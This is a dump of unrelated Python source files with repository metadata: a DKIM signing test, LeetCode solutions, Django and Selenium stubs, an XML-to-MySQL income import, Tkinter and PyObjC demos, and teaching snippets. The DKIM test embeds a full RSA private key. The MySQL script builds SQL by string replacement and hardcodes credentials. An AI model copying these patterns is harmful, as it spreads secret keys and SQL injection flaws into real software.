Iz7jzR6B8l93KXWqxG5UZK2CduL6TKJGQZ+jGkTk0YU3d3r5kwPNOX1o+qhICJF8\
tcWZcw1MUV816sxJ3hi6RTz7faRvJtj9J2SM2cY3eq0xQSM/dvD1fqUCAwEAAQKB\
gDaUp3qTN3fQnxAf94x9z2Mt6p8CxDKn8xRdvtGzjhNueJzUKVmZOghZLDtsHegd\
A6bNMTKzsA2N7C9W1B0ZNHkmc6cbUyM/gXPLzpErFF4c5sTYAaJGKK+3/3BrrliG\
6vgzTXt3KZRlInfrumZRo4h7yE/IokfmzBwjbyP7N3lhAkDpfTwLidRBTgYVz5yO\
/7j55vl2GN80xDk0IDfO17/O8qyQlt+J6pksE0ojTkAjD2N4rx3dL4kPgmx80r/D\
AdNNAkCNh4LBukRUMT+ulfngrnzQ4QDnCUXpANKpe3HZk4Yfysj1+zrlWFilzO3y\
t/RpGu4GtH1LUNQNjrp94CcBNPy5AkBW6KCTAuiYrjwhnjd+Gr11d33fcX6Tm35X\
Yq6jNTdWBooo/5+RLFt7RmrQHW5OHoo9/6C0Fd+EgF11UNTD90f5AkBBB6/0FgNJ\
cCujq7PaIjKlw40nm2ItEry5NUh1wcxSFVpLdDl2oiZxYH1BFndOSBpwqEQd9DDL\
Xfag2fryGge5AkCFPjggILI8jZZoEW9gJoyqh13fkf+WjtwL1mLztK2gQcrvlyUd\
/ddIy8ZEkmGRiHMcX0SGdsEprW/EpbhSdakC"
MESSAGE = b"Header: Value\r\n\r\nHello World"
RESULT = b"DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=netius.hive.pt;\r\n\
i=email@netius.hive.pt; l=13; q=dns/txt; s=20160523113052;\r\n\
t=1464003802; h=Header;\r\n\
bh=sIAi0xXPHrEtJmW97Q5q9AZTwKC+l1Iy+0m8vQIc/DY=; b=Pr7dVjQIX3ovG78v1X45seFwA/+uyIAofJbxn5iXTRBA5Mv+YVdiI9QMm/gU1ljoSGqqC+hvLS4iB2N1kC4fGuDxXOyNaApOLSA2hl/mBpzca6SNyu6CYvUDdhmfD+8TsYMe6Vy8UY9lWpPYNgfb9BhORqPvxiC8A8F9ScTVT/s=\r\nHeader: Value\r\n\r\nHello World"
REGISTRY = {
"netius.hive.pt" : dict(
key_b64 = PRIVATE_KEY,
selector = "20160523113052",
domain = "netius.hive.pt"
)
}
class RelaySMTPServerTest(unittest.TestCase):
def test_dkim(self):
smtp_r = netius.extra.RelaySMTPServer()
smtp_r.dkim = REGISTRY
result = smtp_r.dkim_contents(
MESSAGE,
email = "email@netius.hive.pt",
creation = 1464003802
)
self.assertEqual(result, RESULT)
| [
"joamag@hive.pt"
] | joamag@hive.pt |
0523121cce605e677e973420974d98141f287da8 | 622f779c8ed0bf589b947c5550c11f64f438444a | /src/Checking-Valid-String-In-Binary-Tree.py | ae103e30993f7e0ebb59eb38ed512376518291d2 | [
"MIT"
] | permissive | sahilrider/LeetCode-Solutions | 9290f69096af53e5c7212fe1e3820131a89257d0 | 9cac844c27b5dbf37a70c2981a09cd92457f7ff1 | refs/heads/master | 2023-01-03T22:35:28.377721 | 2020-10-25T16:15:49 | 2020-10-25T16:15:49 | 232,368,847 | 2 | 0 | MIT | 2020-10-25T16:15:50 | 2020-01-07T16:37:43 | Python | UTF-8 | Python | false | false | 985 | py | '''https://leetcode.com/explore/featured/card/30-day-leetcoding-challenge/532/week-5/3315/'''
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def isValidSequence(self, root: TreeNode, arr: List[int]) -> bool:
def dfs(node, seq):
if not node.left and not node.right:
if seq + [node.val] == self.arr:
return True
else:
return False
if node.left and node.right:
return dfs(node.left, seq+[node.val]) or dfs(node.right, seq+[node.val])
if node.left:
return dfs(node.left, seq+[node.val])
if node.right:
return dfs(node.right, seq+[node.val])
self.arr = arr
if not root:
return False
return dfs(root, [])
| [
"sahilriders@gmail.com"
] | sahilriders@gmail.com |
32e21376754df4221bc846a99c412c84967a1a96 | 2a119e23ac73cd2fa0dbbb96cd01045562ab0835 | /citties.py | 6a75b6fa09e66271a00bf425b921fa57c812317c | [] | no_license | pavel-malin/python_work | 94d133834348350251684ef366923698e5e2f289 | d860e5d15116771e3cbe9e316fc032a28a3029e2 | refs/heads/master | 2020-04-28T05:17:45.067766 | 2019-04-20T19:39:43 | 2019-04-20T19:39:43 | 175,014,343 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 330 | py | # Executing a loop by value is correct and
# completing through break
prompt = "\nPlease enter the name of a city you have visited: "
prompt += "\n(Enter 'quit' when you are finished.) "
while True:
city = input(prompt)
if city == 'quit':
break
else:
print("I'd love to go to " + city.title() + "!")
| [
"noreply@github.com"
] | pavel-malin.noreply@github.com |
6d696fd319ed1d5bafd79955314f0e5c2a0591bd | 6adf334dd2a074686447e15898ed3fff793aab48 | /02_Two_Pointers/13_shortest_window_sort.py | 0649343b6278c871289f402481d7b1642ea3c9ed | [] | no_license | satyapatibandla/Patterns-for-Coding-Interviews | 29ac1a15d5505293b83a8fb4acf12080851fe8d6 | b3eb2ac82fd640ecbdf3654a91a57a013be1806f | refs/heads/main | 2023-05-07T07:56:01.824272 | 2021-06-01T04:02:50 | 2021-06-01T04:02:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 885 | py | # Time O(N) | Space O(1)
def shortest_window_sort(arr):
n = len(arr)
left, right = 0, n - 1
while left < n - 1 and arr[left] <= arr[left + 1]:
left += 1
if left == n - 1:
return 0
while right > 0 and arr[right] >= arr[right - 1]:
right -= 1
sub_min = float('inf')
sub_max = float('-inf')
for k in range(left, right + 1):
sub_min = min(sub_min, arr[k])
sub_max = max(sub_max, arr[k])
while left > 0 and arr[left - 1] > sub_min:
left -= 1
while right < n - 1 and arr[right + 1] < sub_max:
right += 1
return right - left + 1
def main():
print(shortest_window_sort([1, 2, 5, 3, 7, 10, 9, 12]))
print(shortest_window_sort([1, 3, 2, 0, -1, 7, 10]))
print(shortest_window_sort([1, 2, 3]))
print(shortest_window_sort([3, 2, 1]))
if __name__ == '__main__':
main()
| [
"shash873@gmail.com"
] | shash873@gmail.com |
bbaae8ba9d96ccfec2270b1e13f5afbc2dd4d684 | ea01ed735850bf61101b869b1df618d3c09c2aa3 | /python基础/网络编程/套接字/tcp_Socket/小作业简单模拟ssh/存在粘包问题的ssh/客户端粘包/client.py | 965fe7a1d0a3a342ab614d08ffbe2b145e78ac05 | [] | no_license | liuzhipeng17/python-common | 867c49ac08719fabda371765d1f9e42f6dd289b9 | fb44da203d4e3a8304d9fe6205e60c71d3a620d8 | refs/heads/master | 2021-09-27T10:39:45.178135 | 2018-11-08T01:49:33 | 2018-11-08T01:49:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 314 | py | # -*- coding: utf-8 -*-
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('127.0.0.1', 8080))
phone.send('hello'.encode(encoding='utf-8'))
phone.send('world'.encode(encoding='utf-8'))
# data = phone.recv(1024)
# print("服务端返回内容:%s" % data)
# phone.close() | [
"liucpliu@sina.cn"
] | liucpliu@sina.cn |
c47a29657f2c9622c4d133a0ed587fd61faf21bb | a5fe2130ea434f958f6151cd4d8c92d43f1c1ca1 | /src/app/urls.py | 3e64476466f19c1ff036b6caa5569139515fdffa | [] | no_license | DavidArmendariz/django-movies-app | 44da33cc200773ef473ea21f67a1dfff57ea0e96 | b77f1f538bae4a906d0b00597fef8fef97ea409b | refs/heads/master | 2023-03-11T16:43:02.956765 | 2021-02-23T04:28:17 | 2021-02-23T04:28:17 | 338,206,453 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 154 | py | from django.contrib import admin
from django.urls import path, include
urlpatterns = [path("admin/", admin.site.urls), path("", include("movies.urls"))]
| [
"darmendariz1998@outlook.com"
] | darmendariz1998@outlook.com |
727bfa21f987a7f6a8b67b48d83909fe08a8b388 | dbaad22aa8aa6f0ebdeacfbe9588b281e4e2a106 | /專03-MySQL/可支配所得/03-延續專2-可支配所得XML-匯入.py | 21efdf3f8e63ba0884679301caad1fe8c6af6a50 | [
"MIT"
] | permissive | ccrain78990s/Python-Exercise | b4ecec6a653afd90de855a64fbf587032705fa8f | a9d09d5f3484efc2b9d9a53b71307257a51be160 | refs/heads/main | 2023-07-18T08:31:39.557299 | 2021-09-06T15:26:19 | 2021-09-06T15:26:19 | 357,761,471 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,306 | py | #!/usr/bin/env python
# -*- coding=utf-8 -*-
__author__ = "Chen"
"""
家庭收支調查-所得收入者職業別平均每人"所得收入總計" ↓ 2020-10-27
https://data.gov.tw/dataset/131148
家庭收支調查-所得收入者職業別平均每人"非消費支出" ↓ 2020-11-18
https://data.gov.tw/dataset/132281
家庭收支調查-所得收入者職業別平均每人"可支配所得" ↓ 2020-09-23
https://data.gov.tw/dataset/130027
主要欄位 ↓
Year、臺灣地區、民意代表及主管及經理人員、專業人員、技術員及助理專業人員、
事務支援人員、服務及銷售工作人員、農林漁牧業生產人員、技藝有關工作人員、
機械設備操作及組裝人員、基層技術工及勞力工、其他
"""
import sys
from xml.etree import ElementTree
import urllib.request as httplib # 3.x
import pymysql as MySQLdb # pip install MySQLdb
db = MySQLdb.connect(host="127.0.0.1", user="admin", passwd="admin", db="mydatabase")
cursor = db.cursor()
try:
# 家庭收支調查 - 所得收入者職業別平均每人"所得收入總計" 最後更新時間 2020 - 10 - 27
# url = "https://www.dgbas.gov.tw/public/data/open/localstat/086-%E6%89%80%E5%BE%97%E6%94%B6%E5%85%A5%E8%80%85%E8%81%B7%E6%A5%AD%E5%88%A5%E5%B9%B3%E5%9D%87%E6%AF%8F%E4%BA%BA%E6%89%80%E5%BE%97%E6%94%B6%E5%85%A5%E7%B8%BD%E8%A8%88.xml"
# 非消費性支出
# url =https://www.dgbas.gov.tw/public/data/open/localstat/088-%E6%89%80%E5%BE%97%E6%94%B6%E5%85%A5%E8%80%85%E8%81%B7%E6%A5%AD%E5%88%A5%E5%B9%B3%E5%9D%87%E6%AF%8F%E4%BA%BA%E9%9D%9E%E6%B6%88%E8%B2%BB%E6%94%AF%E5%87%BA.xml
# 可支配所得
url="https://www.dgbas.gov.tw/public/data/open/localstat/085-%E6%89%80%E5%BE%97%E6%94%B6%E5%85%A5%E8%80%85%E8%81%B7%E6%A5%AD%E5%88%A5%E5%B9%B3%E5%9D%87%E6%AF%8F%E4%BA%BA%E5%8F%AF%E6%94%AF%E9%85%8D%E6%89%80%E5%BE%97.xml"
req = httplib.Request(url)
reponse = httplib.urlopen(req)
if reponse.code == 200:
if (sys.version_info > (3, 0)):
# contents=reponse.read().decode(reponse.headers.get_content_charset())
contents = reponse.read().decode("UTF-8")
else:
contents = reponse.read()
print(contents)
root = ElementTree.fromstring(contents)
t0 = root.findall("Data")
t1 = root.findall("Data/Year")
t2 = root.findall("Data/臺灣地區")
t3 = root.findall("Data/民意代表及主管及經理人員")
t4 = root.findall("Data/專業人員")
t5 = root.findall("Data/技術員及助理專業人員")
t6 = root.findall("Data/事務支援人員")
t7 = root.findall("Data/服務及銷售工作人員")
t8 = root.findall("Data/農林漁牧業生產人員")
t9 = root.findall("Data/技藝有關工作人員")
t10 = root.findall("Data/機械設備操作及組裝人員")
t11 = root.findall("Data/基層技術工及勞力工")
t12 = root.findall("Data/其他")
#listYear = []
#for x in range(0, len(t0)):
# listYear.append(t1[x].text)
# 印出所有資料
for x in range(0, len(t0)):
print("年份:", t1[x].text)
print("台灣地區平均每人所得收入總計:", t2[x].text)
print(" ")
print("民意代表及主管及經理人員:", t3[x].text)
print("專業人員:", t4[x].text)
print("技術員及助理專業人員:", t5[x].text)
print("事務支援人員:", t6[x].text)
print("服務及銷售工作人員:", t7[x].text)
print("農林漁牧業生產人員:", t8[x].text)
print("技藝有關工作人員:", t9[x].text)
print("機械設備操作及組裝人員:", t10[x].text)
print("基層技術工及勞力工:", t11[x].text)
print("其他:", t12[x].text)
print("----------------------------")
print(" ")
for x in range(0,len(t0)):
str1 = "INSERT INTO `income` (`id`, `year`, `taiwan`, `supervisor`, `professionals`, `assistant`, `support`, `service`, `production`, `artisan`, `assembler`, `labor`, `other`)" + \
" VALUES ('[value-1]','[value-2]','[value-3]','[value-4]','[value-5]','[value-6]','[value-7]','[value-8]','[value-9]','[value-10]','[value-11]','[value-12]','[value-13]')"
str1 = str1.replace("[value-1]", "null")
str1 = str1.replace("[value-2]", t1[x].text)
str1 = str1.replace("[value-3]", t2[x].text)
str1 = str1.replace("[value-4]", t3[x].text)
str1 = str1.replace("[value-5]", t4[x].text)
str1 = str1.replace("[value-6]", t5[x].text)
str1 = str1.replace("[value-7]", t6[x].text)
str1 = str1.replace("[value-8]", t7[x].text)
str1 = str1.replace("[value-9]", t8[x].text)
str1 = str1.replace("[value-10]", t9[x].text)
str1 = str1.replace("[value-11]", t10[x].text)
str1 = str1.replace("[value-12]", t11[x].text)
str1 = str1.replace("[value-13]", t12[x].text)
# print(str1)
cursor.execute(str1)
db.commit()
db.close()
print("====資料量====")
print(len(t0))
except:
print("error")
| [
"47476106+ccrain78990s@users.noreply.github.com"
] | 47476106+ccrain78990s@users.noreply.github.com |
a5d4381d2e7fb369853b31614a859d2ff6b32d68 | 40cc021bfa13a1fc6b3d94ac1628d404a0800c10 | /functional_tests/functional_test.py | 06d96ff97dc5dc5a0fbc18c6a413da1cfa12bd56 | [] | no_license | dvoong/lins-alterations | ffffb7da1cc8c6608764c7f90a75e6fa5d9a72af | d0eac4e5647e716918ff3c075fccc6fdff2cc8af | refs/heads/master | 2021-01-17T20:30:16.355168 | 2016-08-08T21:06:34 | 2016-08-08T21:06:34 | 61,430,210 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 234 | py | from selenium import webdriver
from django.test import LiveServerTestCase
class FunctionalTest(LiveServerTestCase):
def setUp(self):
self.browser = webdriver.Chrome()
def tearDown(self):
self.browser.quit()
| [
"voong.david@gmail.com"
] | voong.david@gmail.com |
843c46e20f9e27d506f7e0513e60ff58cfd8a899 | bac37a96ead59a3c4caaac63745d5748f5060195 | /数据库编程/03操作sqlite3数据库插入多条数据.py | 50dd4ad9ddd086e75837820c57fc0f898c149c69 | [] | no_license | pod1019/python_learning | 1e7d3a9c10fc8c1b4e8ff31554d495df518fb385 | a15213d33a253c3a77ab0d5de9a4f937c27693ca | refs/heads/master | 2020-09-14T11:11:53.100591 | 2020-04-11T04:00:27 | 2020-04-11T04:00:27 | 223,112,718 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 838 | py | # 导入模块
import sqlite3
# 创建连接
con = sqlite3.connect('D:/python_learning/数据库编程/sqlite3demo/demo.db')
# 创建游标对象
cur = con.cursor()
# 编写插入sql
# 由于pno设置的是自增,所以不需要在写,values(?,?)用?占位
sql = 'insert into t_person(pname,age) values (?,?)'
# 执行插入多条数据的sql
try:
# 插入多条数据用executemany(),而且参数用列表形式----注意与插入一条的区别,一条用元组
cur.executemany(sql,[("小李",23),("小花",30),("小明",28)])
con.commit() # 提交事务
print("插入多条数据成功")
except Exception as e:
print(e)
con.rollback() #插入不成功,则回滚事务·地方
print("插入多条数据失败")
finally:
# 关闭游标
cur.close()
# 关闭数据库连接
con.close() | [
"pod1019@163.com"
] | pod1019@163.com |
be15e630f100b6c734ffc9282a5a15fa6666b4bc | d5ad13232e3f1ced55f6956bc4cbda87925c8085 | /RNAseqMSMS/21-rna-seq-sv-stats/22-sv-num-plot.py | 7a1af076451c2238ba8f8a0ef5d277e0c20d152a | [] | no_license | arvin580/SIBS | c0ba9a8a41f59cb333517c286f7d80300b9501a2 | 0cc2378bf62359ec068336ea4de16d081d0f58a4 | refs/heads/master | 2021-01-23T21:57:35.658443 | 2015-04-09T23:11:34 | 2015-04-09T23:11:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,102 | py | import math
inFile = open('HeLa-Deletion-Duplication-Inversion-Translocation-Gene-more_than_two-num')
D = {}
for line in inFile:
line = line.strip()
fields = line.split('\t')
num = int(fields[1])
D.setdefault(num,0)
D[num]+=1
inFile.close()
L1 = []
L2 = []
L3 = []
for k in D:
L1.append(k)
L2.append(D[k])
L3.append(math.log(D[k],2))
import matplotlib
matplotlib.use('Agg')
import numpy as np
import matplotlib.pyplot as plt
#a=PyPlot('HeLa-Deletion-Duplication-Inversion-Translocation-Gene-more_than_two-num.pdf')
#a.plot2([L1,L2])
ymax= 900
ymin = -10
xmax = 65
xmin = 0
fig = plt.figure()
ax=fig.add_subplot(111)
ax.plot(L1,L2,marker='*',color='magenta')
ax.set_ylim(ymin,ymax)
ax.set_xlim(xmin,xmax)
ax.set_xlabel('Number of Structural Variation Events')
ax.set_ylabel('Number of Genes')
ax.set_yticklabels(['','1']+range(200,ymax,200))
ax.set_xticklabels(['','1']+range(10,xmax,10))
ax.set_yticks([-10,1]+range(200,ymax,200))
ax.set_xticks([0,1]+range(10,xmax,10))
plt.savefig('HeLa-Deletion-Duplication-Inversion-Translocation-Gene-more_than_two-num.pdf')
| [
"sunahnice@gmail.com"
] | sunahnice@gmail.com |
d908966e8967f4625b79dcef07c794977cb2bf18 | 17966824e4bac02b66a802091b3d6277131995a2 | /子集1.py | d60e5dead1f874f1c571538b5194d51748e1c203 | [] | no_license | to2bage/mixx | 8f00c2c888cc3dfe7f681077118121a6c6a3982b | c09337cc162449a8246b29b419187b38075a1268 | refs/heads/master | 2021-07-15T09:38:10.426660 | 2017-10-18T05:32:54 | 2017-10-18T05:32:54 | 104,962,609 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,288 | py | class Solution:
"""
@param: nums: A set of numbers
@return: A list of lists
"""
def subsets(self, nums):
ret = []
nums.sort()
for i in range(len(nums) + 1):
combs = self._subsets(nums, 0, i)
for comb in combs:
ret.append(comb)
return ret
# 数组numbers, 从位置pos开始, 包含k个元素的所有组合
def _subsets(self, numbers, pos, k):
rect = []
if k == 0: #包含0个元素,意味着子集是空集
return [[]]
for i in range(pos, len(numbers), 1): #从第i个元素开始的子集
combs = self._subsets(numbers, i + 1, k - 1) #简化为: 从第i+1个元素开始的子集
if combs:
if combs != [[]]:
for comb in combs:
new_comb = [numbers[i]] #首先添加第i个元素到子集当中
new_comb.extend(comb) #再添加从第i+1个元素开始的子集
rect.append(new_comb)
else:
rect.append([numbers[i]])
return rect
if __name__ == "__main__":
nums = [1,2,3]
s = Solution()
r = s.subsets(nums)
print(r) | [
"to2bage@hotmail.com"
] | to2bage@hotmail.com |
642206b159003756166684fbe8234e97aa9c6180 | 073f486ffe0397302a4b54594cf86daea50123f3 | /Cap04-variaveis/variaveis_python.py | 50d3022e569fc9c4abaade462dc771e2617b7033 | [] | no_license | frclasso/CodeGurus_Python_mod1-turma2_2019 | 314f9cf0c0bdcefbf5cd786998b8c914da3cf9d0 | f04c5857a97a0aab1e532e422020b4aa0d365dd6 | refs/heads/master | 2020-05-22T17:04:10.440217 | 2019-07-13T11:11:28 | 2019-07-13T11:11:28 | 186,445,385 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,755 | py |
# variaveis
lang = 'Python'
print(lang)
print(id(lang))
print(type(lang)) # string
ord = 1
print(type(ord)) # inteiro/int
ord2 = 2.0
print(type(ord2)) # float
ord3 = 2+3j
print(type(ord3)) # complex
numero = 1000.000000000
print('{:.1f}'.format(numero))
# variaveis compostas
listas = []
mercado = ['leite', 'pão','café', 'óleo', 'papel higienico']
print(mercado)
# indexar
print(mercado[0])
print(mercado[1])
print(mercado[2])
print(mercado[-1])
# fatias
print(mercado[1:])
print(mercado[2:])
print(mercado[2:4])
# alterar
mercado[0] = 'cerveja'
print(mercado)
# Adicionar
mercado.append('laranja') # adiciona ao final da lista
print(mercado)
mercado.insert(0, 'Vinho')
print(mercado)
vegetais = ['cenoura', 'tomate', 'cebola']
mercado.extend(vegetais)
print(mercado)
print()
# clonar
mercado2 = mercado[:]
mercado[0]='queijo'
print(mercado2)
print(id(mercado2))
print()
print(mercado)
print(id(mercado))
m2 = mercado.copy()
print(m2)
print(id(m2))
# remover , pop, del, remove
print(mercado2)
mercado2.pop() # remove o ultimo elemento
print(mercado2)
mercado2.pop(0) # indice
print(mercado2)
mercado2.remove('tomate')
print(mercado2)
del mercado2[0]
print(mercado2)
# mercado2 = []
# print(mercado2)
del mercado2[:]
print(mercado2)
# del mercado2
# print(mercado2)
print('-'*70)
#### Tuplas - () parenteses
shoppinglist = ('tennis', 'meias', 'cuecas', 'camisetas')
print(shoppinglist)
print(shoppinglist[0])
print(shoppinglist[-1])
print(shoppinglist[1:3])
print(id(shoppinglist))
shoppinglist2 = shoppinglist[1:2]
print(shoppinglist)
print(id(shoppinglist))
print('-'*70)
print(vegetais * 2)
dupla = shoppinglist * 2
print(id(dupla))
print(dupla)
print(shoppinglist + shoppinglist2)
print(mercado + vegetais)
| [
"frcalsso@yahoo.com.br"
] | frcalsso@yahoo.com.br |
1b01898879304e77c804c5595ccc87d222693ea1 | 7a23870e9b0b56b112f634d26760282ff7a4f46c | /Projects/Archived Tk code/From extensions folder/Pmw/Pmw_1_3/demos/NestedDialogs.py | 7d5eb03b725e4ec779920d6fee5ea3055e19a2b5 | [] | no_license | leo-editor/leo-editor-contrib | 0c671998c4ec7fd7c4ce890a201395afe340481b | 28c22721e1bc313c120a8a6c288893bc566a5c67 | refs/heads/master | 2023-06-25T04:28:54.520792 | 2023-06-14T20:18:12 | 2023-06-14T20:18:12 | 16,771,641 | 6 | 6 | null | 2023-06-09T11:26:42 | 2014-02-12T15:28:36 | Python | UTF-8 | Python | false | false | 1,991 | py | title = 'Modal dialog nesting demonstration'
# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']
import Tkinter
import Pmw
class Demo:
def __init__(self, parent):
# Create button to launch the dialog.
w = Tkinter.Button(parent, text = 'Show first dialog',
command = self.showFirstDialog)
w.pack(padx = 8, pady = 8)
self.timerId = None
self.dialog1 = Pmw.MessageDialog(parent,
message_text = 'This is the first modal dialog.\n' +
'You can see how dialogs nest by\n' +
'clicking on the "Next" button.',
title = 'Dialog 1',
buttons = ('Next', 'Cancel'),
defaultbutton = 'Next',
command = self.next_dialog)
self.dialog1.withdraw()
self.dialog2 = Pmw.Dialog(self.dialog1.interior(),
title = 'Dialog 2',
buttons = ('Cancel',),
deactivatecommand = self.cancelTimer,
defaultbutton = 'Cancel')
self.dialog2.withdraw()
w = Tkinter.Label(self.dialog2.interior(),
text = 'This is the second modal dialog.\n' +
'It will automatically disappear shortly')
w.pack(padx = 10, pady = 10)
def showFirstDialog(self):
self.dialog1.activate()
def cancelTimer(self):
if self.timerId is not None:
self.dialog2.after_cancel(self.timerId)
self.timerId = None
def deactivateSecond(self):
self.timerId = None
self.dialog2.deactivate()
def next_dialog(self, result):
if result != 'Next':
self.dialog1.deactivate()
return
self.timerId = self.dialog2.after(3000, self.deactivateSecond)
self.dialog2.activate()
######################################################################
# Create demo in root window for testing.
if __name__ == '__main__':
root = Tkinter.Tk()
Pmw.initialise(root)
root.title(title)
exitButton = Tkinter.Button(root, text = 'Exit', command = root.destroy)
exitButton.pack(side = 'bottom')
widget = Demo(root)
root.mainloop()
| [
"edreamleo@gmail.com"
] | edreamleo@gmail.com |
e9dfda94eae7e425e96c91ab025607701adb78f6 | 633fdb0bd4c8246dfabb27c680ede42879922664 | /music/views.py | acec97bbd24b616bd30134972d6c7b3cca24b691 | [] | no_license | xarala221/django-api | 0b134ad6b2c05b77a54390f96d0c7d1b30f06d17 | 52498eb5272391d2b27fd8ee8ffabec3f4b6d833 | refs/heads/master | 2020-04-05T16:46:52.976200 | 2018-11-10T22:53:58 | 2018-11-10T22:53:58 | 157,028,142 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 272 | py | from rest_framework import generics
from .models import Songs
from .serializers import SongsSerializer
class ListSongsView(generics.ListAPIView):
"""
Provides a get method handler.
"""
queryset = Songs.objects.all()
serializer_class = SongsSerializer | [
"xaralaxarala@gmail.com"
] | xaralaxarala@gmail.com |
5e5f0a055c727a0333d32942d973e0d30bc1a7f0 | ea4e3ac0966fe7b69f42eaa5a32980caa2248957 | /download/unzip/pyobjc/pyobjc-14.1.1/pyobjc/stable/pyobjc-framework-Cocoa/PyObjCTest/test_nscoder.py | 22ae4552930af5aacfd31164ce73dd9af98a1053 | [
"MIT"
] | permissive | hyl946/opensource_apple | 36b49deda8b2f241437ed45113d624ad45aa6d5f | e0f41fa0d9d535d57bfe56a264b4b27b8f93d86a | refs/heads/master | 2023-02-26T16:27:25.343636 | 2020-03-29T08:50:45 | 2020-03-29T08:50:45 | 249,169,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,190 | py | import unittest
import objc
from Foundation import *
from objc.test.testbndl import PyObjC_TestClass4
class TestNSCoderUsage(unittest.TestCase):
if not hasattr(unittest.TestCase, 'assertAlmostEquals'):
# XXX Move to a PyObjC unittest module?
def assertAlmostEquals(self, val1, val2):
self.assert_ (abs(val1 - val2) < 0.000001)
def testUsage(self):
class CoderClass1 (NSObject):
def encodeWithCoder_(self, coder):
# NSObject does not implement NSCoding, no need to
# call superclass implementation:
# super(CoderClass1, self).encodeWithCoder_(coder)
coder.encodeValueOfObjCType_at_(objc._C_INT, 2)
coder.encodeValueOfObjCType_at_(objc._C_DBL, 2.0)
coder.encodeArrayOfObjCType_count_at_(objc._C_DBL, 4, (1.0, 2.0, 3.0, 4.0))
coder.encodeBytes_length_("hello world!", 5)
def initWithCoder_(self, coder):
# NSObject does not implement NSCoding, no need to
# call superclass implementation:
# self = super(CodeClass1, self).initWithCoder_(coder)
self = self.init()
self.intVal = coder.decodeValueOfObjCType_at_(objc._C_INT)
self.dblVal = coder.decodeValueOfObjCType_at_(objc._C_DBL)
self.dblArray = coder.decodeArrayOfObjCType_count_at_(objc._C_DBL, 4)
self.decodedBytes = coder.decodeBytesWithReturnedLength_()
return self
origObj = CoderClass1.alloc().init()
data = NSMutableData.data()
archiver = NSArchiver.alloc().initForWritingWithMutableData_(data)
archiver.encodeObject_(origObj)
archiver = NSUnarchiver.alloc().initForReadingWithData_(data)
newObj = archiver.decodeObject()
self.assertEquals(newObj.intVal, 2)
self.assertAlmostEquals(newObj.dblVal, 2.0)
self.assertEquals(len(newObj.dblArray), 4)
self.assertAlmostEquals(newObj.dblArray[0], 1.0)
self.assertAlmostEquals(newObj.dblArray[1], 2.0)
self.assertAlmostEquals(newObj.dblArray[2], 3.0)
self.assertAlmostEquals(newObj.dblArray[3], 4.0)
self.assertEquals(newObj.decodedBytes[0], "hello")
self.assertEquals(newObj.decodedBytes[1], 5)
class MyCoder (NSCoder):
def init(self):
self = super(MyCoder, self).init()
if self is None: return None
self.coded = []
return self
def encodeValueOfObjCType_at_(self, tp, value):
self.coded.append( ("value", tp, value) )
def encodeArrayOfObjCType_count_at_(self, tp, cnt, value):
self.coded.append( ("array", tp, cnt, value) )
def encodeBytes_length_(self, bytes, length):
self.coded.append( ("bytes", bytes, length) )
def decodeValueOfObjCType_at_(self, tp):
if tp == 'i':
return 42
elif tp == 'd':
return 1.5
def decodeArrayOfObjCType_count_at_(self, tp, cnt):
return range(cnt)
def decodeBytesWithReturnedLength_(self):
return ("ABCDEabcde", 10)
class TestPythonCoder(unittest.TestCase):
#
# This test accesses a NSCoder implemented in Python from Objective-C
#
# The tests only use those methods that require a custom IMP-stub.
#
def testEncoding(self):
coder = MyCoder.alloc().init()
o = PyObjC_TestClass4.alloc().init()
o.encodeWithCoder_(coder)
self.assertEquals(coder.coded,
[
("value", "d", 1.5),
("array", "i", 4, (3,4,5,6)),
("bytes", "hello world", 11),
])
def testDecoding(self):
coder = MyCoder.alloc().init()
o = PyObjC_TestClass4
self.assertEquals(o.fetchInt_(coder), 42)
self.assertEquals(o.fetchDouble_(coder), 1.5)
d = o.fetchData_(coder)
self.assertEquals(d.length(), 10)
self.assertEquals(str(d.bytes()), "ABCDEabcde")
d = o.fetchArray_(coder)
self.assertEquals(tuple(range(10)), tuple(d))
if __name__ == '__main__':
unittest.main( )
| [
"hyl946@163.com"
] | hyl946@163.com |
50edcb60e68fe42f0f72122d986487e8ebf59fec | cdb7bb6215cc2f362f2e93a040c7d8c5efe97fde | /V/ValidPalindromeII.py | 73923540643cfb6825921f25a0d4fe449e430b43 | [] | no_license | bssrdf/pyleet | 8861bbac06dfe0f0f06f6ad1010d99f8def19b27 | 810575368ecffa97677bdb51744d1f716140bbb1 | refs/heads/master | 2023-08-20T05:44:30.130517 | 2023-08-19T21:54:34 | 2023-08-19T21:54:34 | 91,913,009 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,103 | py | '''
-Easy-
Given a non-empty string s, you may delete at most one character. Judge whether you can
make it a palindrome.
Example 1:
Input: "aba"
Output: True
Example 2:
Input: "abca"
Output: True
Explanation: You could delete the character 'c'.
Note:
The string will only contain lowercase characters a-z. The maximum length of the string is 50000.
'''
class Solution(object):
def validPalindrome(self, s):
"""
:type s: str
:rtype: bool
"""
n = len(s)
left, right = 0, n-1
def isValid(s, l, r):
i, j = l, r
while i <= j:
if s[i] != s[j]: return False
i += 1
j -= 1
return True
while left <= right:
if s[left] != s[right]:
return isValid(s, left, right-1) or isValid(s, left+1, right)
left += 1
right -= 1
return True
if __name__ == "__main__":
print(Solution().validPalindrome("abca"))
print(Solution().validPalindrome("aba"))
print(Solution().validPalindrome("abvea"))
| [
"merlintiger@hotmail.com"
] | merlintiger@hotmail.com |
